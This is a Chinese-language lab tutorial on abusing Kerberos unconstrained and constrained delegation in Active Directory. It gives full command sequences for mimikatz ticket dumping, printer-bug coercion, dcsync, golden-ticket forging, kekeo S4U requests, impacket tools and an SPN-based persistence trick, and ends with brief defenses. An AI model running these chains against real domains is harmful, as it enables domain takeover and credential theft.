前置知识
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动
委派主要分为非约束委派(Unconstrained delegation)
和约束委派(Constrained delegation)
两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation
)不过不是本文的重点,下面我们来分别介绍一下非约束委派和约束委派这两种方法的利用
发现域中委派的用户和计算机
原理说明
- 当服务账号或者主机被设置为非约束性委派时,其
userAccountControl
属性会包含TRUSTED_FOR_DELEGATION
- 当服务账号或者主机被设置为约束性委派时,其
userAccountControl
属性包含TRUSTED_TO_AUTH_FOR_DELEGATION
,且msDS-AllowedToDelegateTo
属性会包含被约束的服务
发现域中委派的用户或计算机一般使用的手段是通过LDAP
协议(全称:LightweightDirectory Access Protocol
)然后通过userAccountControl
属性筛选出符合的用户或计算机,我们可以通过ADSI
(全称:ActiveDirectory Service Interfaces Editor
)来编辑和修改LDAP,adsiedit.msc
可以打开ADSI
编辑器,打开之后我们找到一个设置了非约束委派的用户,可以看到userAccountControl
属性包含了TRUSTED_FOR_DELEGATION
然后我们再看一下约束委派的用户,同样它的userAccountControl
属性包含了TRUSTED_TO_AUTH_FOR_DELEGATION
,但是它比非约束委派的用户多了一个msDS-AllowedToDelegateTo
属性,里面包含了允许委派的服务
下面介绍三种比较常见方法用于查找域中委派的用户和计算机
非约束委派的查找
ldapsearch
kali上自带,适合在域外查询
这个参数过多就不一一列举了,需要查阅的ldapsearch -h
即可
查找域中配置非约束委派的用户:1
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
过滤条件1
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))
查找域中配置非约束委派的主机:
1 | ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName" |
注:域控主机账户默认开启非约束委派
过滤条件1
(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))
注:更多LDAP的过滤语法请参考微软的手册:地址
注:区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)
时为用户,samAccountType=805306369 (0x30000001)
时为主机
ADFind
使用参数1
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
- -b:指定要查询的根节点
- -f:LDAP过滤条件
- attr list:需要显示的属性
查找域中配置非约束委派的用户:
1 | AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
查找域中配置非约束委派的主机:
1 | AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
PowerView
查找域中配置非约束委派用户1
Get-NetUser -Unconstrained -Domain qiyou.com |select name
查找域中配置非约束委派的主机:1
Get-NetComputer -Unconstrained -Domain qiyou.com
查询域中配置非约束委派的主机(另外一个版本的powerview):1
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize
约束委派
ldapsearch
查找域中配置约束委派用户
1 | ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto" |
过滤条件1
(&(samAccountType=805306368)(msds-allowedtodelegateto=*))
查找域中配置约束委派的主机:
1 | ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto" |
过滤条件1
(&(samAccountType=805306369)(msds-allowedtodelegateto=*))
ADFind
查找域中配置约束委派用户1
AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找域中配置约束委派的主机:
1 | AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto |
PowerView
注:Powerview有两个版本,一个在dev分支:地址,一个在master分支:地址
查找域中配置约束委派用户
1 | Get-DomainUser –TrustedToAuth -domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl |
查找域中配置约束委派的主机:
1 | Get-DomainComputer -TrustedToAuth -Domain qiyou.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize |
非约束委派的利用
概述
非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation
(非约束委派),则当user
访问service1
时会将user的TGT
发送给service1
并保存在内存中以备下次重用,然后service1
就可以利用这张TGT
以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
非约束委派的请求过程(图来自微软手册):
上图的Kerberos请求描述分为如下步骤:
1 | 1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。 |
注:TGT1(forwardable TGT)
用于访问Service1
,TGT2(forwarded TGT)
用于访问Service2
操作
操作环境:
- 域:
qiyou.com
- 域控:windows server 2008R2,主机名:
WIN-QFPHJSM1L7G
,IP:192.168.141.145
,用户:administrator
- 域内主机:windows server 2008R2,主机名:
DM2008
,IP:192.168.141.183
,用户:qiyou
注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
现在我们将DM2008
这个主机用户设置为非约束委派(注意是:主机用户而不是服务用户,多谢先知评论区的3t2ugg1e
师傅指正)
然后我们以administrator
的身份通过WinRM
服务远程连接DM2008
注:常见的连接方式还有:MSSQL和IIS,不过我们这里为了方便演示就直接用WinRM了
这个时候域管理员的TGT已经缓存在DM2008
了,我们用mimikatz即可dump出来
1 | privilege::debug |
可以看到[0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi
即为域管理administrator
的TGT
此时我们访问域控是被拒绝的
然后通过ptt将TGT注入到当前会话中
1 | kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi |
成功访问
注意:访问域控要用主机名或者是FQDN
,使用IP还是会提示拒绝访问
如果想执行命令的话,我们可以用WinRM
服务来远程连接域控服务器
1 | Enter-PSSession -ComputerName WIN-QFPHJSM1L7G |
-ComputerName
指定主机名- 如果你WinRM服务端口改了的话,可以用
-Port
指定WinRM
端口,默认是5985
注:Windows Server 2012
及以上默认是开启WinRM服务的,Windows Server 2008 R2
需要winrm quickconfig -q
来启动WinRM
服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的。
非约束委派+Spooler打印机服务
如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。
利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_
,enigma0x3
和harmj0y
在DerbyCon 2018
提出的
演讲PPT:地址
利用原理:利用Windows打印系统远程协议(MS-RPRN)
中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法强制任何运行了Spooler
服务的计算机以通过Kerberos
或NTLM
对攻击者选择的目标进行身份验证。
请求过程如下:
图来源于:http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/
注:Print Spooler
服务默认是自动运行的
注:我在windows server 2008
上操作没有成功,不知道是我的问题还是有版本限制,按照上面的原理来说应该是没有版本限制的,不过把域环境重新配置了一遍,域控换成了windows server 2012R2
就成功了
操作环境:
- 域:
test.local
- 域控:系统:
Windows server 2012R2
主机名:DM2012
,ip:192.168.141.134
- 域内主机:系统:
windows 10
,主机名:win10
,ip:192.168.141.165
这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限
我们给win10这个主机账户开启非约束委派
注:是主机账户开启非约束委派,而不是服务用户
tifkin_
在他的github上开源了POC:https://github.com/leechristensen/SpoolSample
向DM2012的Spooler
服务发送请求,强制其访问win10进行身份验证
1 | SpoolSample.exe dm2012 win10 |
我们可以用Rubeus
来监听Event ID
为4624
事件,这样可以第一时间截取到域控的TGT
每隔一秒监听一次来自dm2012
的登陆(需要本地管理员权限)
1 | Rubeus.exe monitor /interval:1 /filteruser:dm2012$ |
注:Rubeus.exe捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus
可以直接将base64编码的票据直接注入到内存中
1 | Rubeus.exe ptt /ticket:base64 |
因为之前域内主机win10的安全日志被我搞崩了,所以这里就不演示了
因为我们Rubeus监听TGT用不了,所以我们可以用mimikatz
导出TGT
1 | privilege::debug |
可以发现成功导出来自DM2012$
的TGT
得到TGT之后,我们用ptt将票据注入到当前会话后,可以用dcsync
导出域控中所有用户的hash,然后用krbtgt
用户的hash生成黄金票据
1 | kerberos::ptt [0;862bdd]-2-0-60a10000-DM2012$@krbtgt-TEST.LOCAL.kirbi |
得到krbtgt
用户的hash之后生成一张administrator的黄金票据
1 | kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-662417213-3583657854-423750704 /krbtgt:683545df56ea57b168d0ad090e209616 /ptt |
成功以administrator的身份访问域控
执行命令可以用WinRM
服务来远程连接域控
关于Spooler
服务的利用还有CVE-2019-1040
,不过这个是基于资源的约束委派,有兴趣的同学可以去了解一下
约束委派的利用
概述
由于非约束委派的不安全性,微软在windows server 2003
中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U
,其中S4U
支持两个子协议:Service for User to Self (S4U2Self)
和 Service for User to Proxy (S4U2proxy)
,这两个扩展都允许服务代表用户从KDC请求票证。S4U2self
可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy
可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy
扩展的范围。
S4U2Self
和S4U2proxy
的请求过程(图来自微软手册):
注:其中步骤1-4代表S4U2Self
请求的过程,步骤5-10代表S4U2proxy
的请求过程
上述请求的文字描述:
1 | 1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。 |
操作
操作环境:
- 域:
qiyou.com
- 域内主机:
windows server 2012R2
,主机名:DM2012
,IP:192.168.141.134
,用户:qiyou
- 域内主机:
DM08
DM08
是域内的另外一台主机,下面我们设置了服务用户qiyou
对DM08
的cifs
服务的委派
概述那里我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash
,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT
1 | tgt::ask /user:qiyou /domain:qiyou.com /password:password /ticket:test.kirbi |
参数:
/user
: 服务用户的用户名
/password
: 服务用户的明文密码
/domain
: 所在域名
/ticket
: 指定票据名称,不过这个参数没有生效,可以忽略
得到服务用户TGT:`TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi`
然后我们可以使用这张TGT通过伪造s4u请求以administrator
用户身份请求访问dm08 CIFS
的ST
1 | tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com |
S4U2Self
获取到的ST1以及S4U2Proxy
获取到的dm08 CIFS服务的ST2会保存在当前目录下
然后我们用mimikatz将ST2导入当前会话即可
1 | kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi |
成功访问到dm08的cifs服务
上面是知道服务用户明文的情况下,kekeo同样也支持使用NTLM Hash
在请求服务用户的TGT那步直接把/password
改成/NTLM
即可
已知我们服务账号qiyou
的NTLM hash
是b4f27a13d0f78d5ad83750095ef2d8ec
1 | tgt::ask /user:qiyou /domain:qiyou.com /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec |
1 | kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi |
如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz
直接从内存中把服务用户的TGT dump出来
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit |
注:sekurlsa::tickets
是列出和导出所有会话的Kerberos
票据,sekurlsa::tickets
和kerberos::list
不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export
需要管理员权限的原因。并且sekurlsa::tickets
的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
既然服务用户的TGT导出来了,我们就跳过tgt::ask
请求TGT这步,直接tgs::s4u
1 | tgs::s4u /tgt:[0;196b1e4]-2-0-60a00000-qiyou@krbtgt-QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com |
1 | kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi |
我们来抓包看一下整个委派请求的过程
可以看到有6个请求响应的过程,我们可以分为3步来分析
- 可以看到用户
qiyou
首先向KDC请求一张TGT,AS-REP
请求里返回TGT,这张TGT代表的是qiyou这个用户
2 然后用这张TGT
发送S4U2self
请求,以Administrator
的名义向TGS
申请了一张访问自身服务的票据,我们这里就称为ST1吧
- 得到
ST1
之后,然后会带上ST1再次向KDC
发起SU42Proxy
请求,以administrator
的名义请求一张访问DM08 cifs
服务的票据,我们这里就称为ST2
吧
上述数据包请求过程中:第一步对应的是我们kekeo的tgt::ask
;2-3是对应tgs::s4u
,其中ST1和ST2分别对应的就是kekeo生成的`TGS_Administrator@qiyou.com@QIYOU.COM_qiyou@QIYOU.COM.kirbi和
TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi`,不过我们最终用到是ST2,ST1可以看作一个中间产物。
得到ST2之后我们就可以回到我们的攻击机上进行ptt就能得到DM08 cifs
的访问权限了
利用约束委派生成黄金票据
操作环境:
- 域:
qiyou.com
- 域控:
windows server 2008R2
,主机名:WIN-QFPHJSM1L7G
,IP:192.168.141.145
,用户:administrator
- 域内主机:
windows server 2012R2
,主机名:DM2012
,IP:192.168.141.134
,用户:qiyou
我们都知道TGT的生成是由krbtgt
用户加密和签名的,如果我们能委派域上的用户去访问TGS
,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt
的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。
注:TGS
默认的spn是krbtgt/domain name
,我们操作环境是krbtgt/QIYOU.COM
krbtgt
默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。
我们可以使用powershell来添加
1 | Import-Module ActiveDirectory |
注:域控默认安装ActiveDirectory,如果没有安装,可以下载dll:下载地址,然后导入就行了:import-module .\Microsoft.ActiveDirectory.Management.dll
GUI界面查看一下,成功添加
我们可以用impacket
系列的getST
向KDC请求administrator的TGT
1 | getst.exe -dc-ip 192.168.141.145 -spn krbtgt/qiyou.com -impersonate Administrator qiyou.com/qiyou:password |
参数:
-impersonate:表示伪造用户
-spn:表示我们要委派的服务的spn,这里是TGS
-dc-ip:域控ip
执行之后会在当前目录生成一个缓存文件Administrator.ccache
然后用mimikatz进行ptc
(pass the cache),将缓存注入当前会话中
klist查看缓存的票据
访问域控
执行命令的话我们可以用impacket
系列或者powershell
都可以
wmiexec
1 | set KRB5CCNAME=Administrator.ccache |
导出域控上所有用户以及主机的hash
1 | set KRB5CCNAME=Administrator.ccache |
请求过程和上面的cifs是一样的只不过是把cifs换krbtgt而已,所以这里就不抓包演示了
防御
- 高权限用户没有在特殊要求之下设置为不可委派
如图
- 为了防止凭据被盗微软推出了
Protected Users
组,适用于Windows Server 2016
,Windows Server 2012 R2
、Windows Server 2012
关于Protected Users
组成员的特点请参考微软手册,这里就不多赘述了
- 提高服务用户密码强度,防止黑客通过
Kerberoasting
等手段对口令进行暴力破解
Reference
http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/